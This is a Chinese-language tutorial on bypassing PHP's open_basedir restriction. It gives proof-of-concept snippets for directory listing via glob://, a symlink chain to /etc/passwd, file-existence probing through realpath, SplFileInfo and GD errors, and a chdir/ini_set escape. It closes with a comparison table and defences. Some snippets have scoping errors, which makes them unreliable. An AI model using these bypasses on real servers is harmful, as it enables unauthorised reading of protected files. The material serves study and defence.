Open_basedir绕过学习
字数 1399 2025-08-18 17:33:23
Open_basedir绕过技术详解
1. Open_basedir简介
Open_basedir是PHP中用于限制文件系统访问范围的安全机制,它将PHP的文件操作限制在指定的目录集合中。
基本特性:
- 所有PHP文件读写函数都会经过open_basedir检查
- 在Linux系统中使用冒号(:)分隔目录,如
/var/www/:/tmp/ - 在Windows系统中使用分号(;)分隔目录,如
c:/www;c:/windows/temp
2. 绕过技术分类
2.1 Globe伪协议结合DirectoryIterator
适用条件:
- PHP版本 > 5.3
- Linux环境
示例代码:
$result = array();
$mulu = new DirectoryIterator("glob:///*");
foreach($mulu as $a){
$result[] = $a->__toString();
}
sort($result);
foreach($result as $s){
echo "{$s}<br/>";
}
限制:
- 只能列出根目录和open_basedir允许目录下的文件
- 不能读取文件内容
2.2 opendir()+readdir()+glob://组合
示例代码:
$a = $_GET['c'];
if($b = opendir($a)){
while(($file = readdir($b)) !== false){
echo $file."<br>";
}
closedir($b);
}
2.3 符号链接(Symlink)绕过
原理:
通过创建多层目录和符号链接,构造一个指向受限文件的路径。
示例代码:
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("A/B/C/D", "SD");
symlink("SD/etc/passwd", "POC");
unlink("SD");
mkdir("SD");
完整EXP:
// 详细EXP见原文,包含路径计算和清理功能
2.4 realpath函数特性利用
原理:
- 当路径不存在时返回false
- 当路径存在但不在open_basedir内时抛出错误
Windows环境示例:
ini_set('open_basedir', dirname(__FILE__));
set_error_handler('isexists');
$dir = 'd:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for($i=0;$i<strlen($chars);$i++){
$file = $dir.$chars[$i].'<>';
realpath($file);
}
function isexists($errno, $errstr){
if(strpos($errstr, 'File is not within') !== false){
echo "Found: ".substr($file, 0, -2)."<br/>";
}
}
2.5 SplFileInfo::getRealPath方法
特点:
- 完全不考虑open_basedir限制
- 路径存在时返回绝对路径,不存在时返回false
示例代码:
$basedir = 'D:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for($i=0;$i<strlen($chars);$i++){
$info = new SplFileInfo($basedir.$chars[$i].'<>');
$re = $info->getRealPath();
if($re){
echo $re.'<br/>';
}
}
2.6 chdir与ini_set组合
原理:
通过改变当前目录和动态修改open_basedir设置来绕过限制。
示例代码:
mkdir('sub');
chdir('sub');
ini_set('open_basedir', '..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir', '/');
var_dump(scandir('/'));
2.7 GD库函数利用
使用函数:
- imageftbbox()
- imagefttext()
原理:
通过不同的错误信息区分文件是否存在:
- 文件存在:"File(xxxxx) is not within the allowed path(s)"
- 文件不存在:"Invalid font filename"
示例代码:
$dir = 'd:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for($i=0;$i<strlen($chars);$i++){
$file = $dir.$chars[$i].'<>';
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr){
if(stripos($errstr, 'Invalid font filename') === false){
echo "Found: ".$file."<br/>";
}
}
2.8 bindtextdomain函数
限制:
- Windows下默认不可用
- Linux下不能使用通配符
示例代码:
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
3. 技术对比与适用场景
| 方法 | 适用系统 | PHP版本 | 特点 |
|---|---|---|---|
| Globe+DirectoryIterator | Linux | >5.3 | 只能列目录 |
| Symlink | 跨平台 | 通用 | 需要写权限 |
| realpath | Windows | 通用 | 基于错误判断 |
| SplFileInfo | 跨平台 | >=5.1.2 | 直接绕过 |
| chdir+ini_set | 跨平台 | 通用 | 需要执行权限 |
| GD库 | 跨平台 | 需GD扩展 | 基于错误判断 |
| bindtextdomain | Linux | 通用 | 效率较低 |
4. 防御建议
- 及时更新PHP版本
- 限制危险函数的使用
- 合理设置目录权限
- 监控异常的文件系统操作
- 结合其他安全机制如SELinux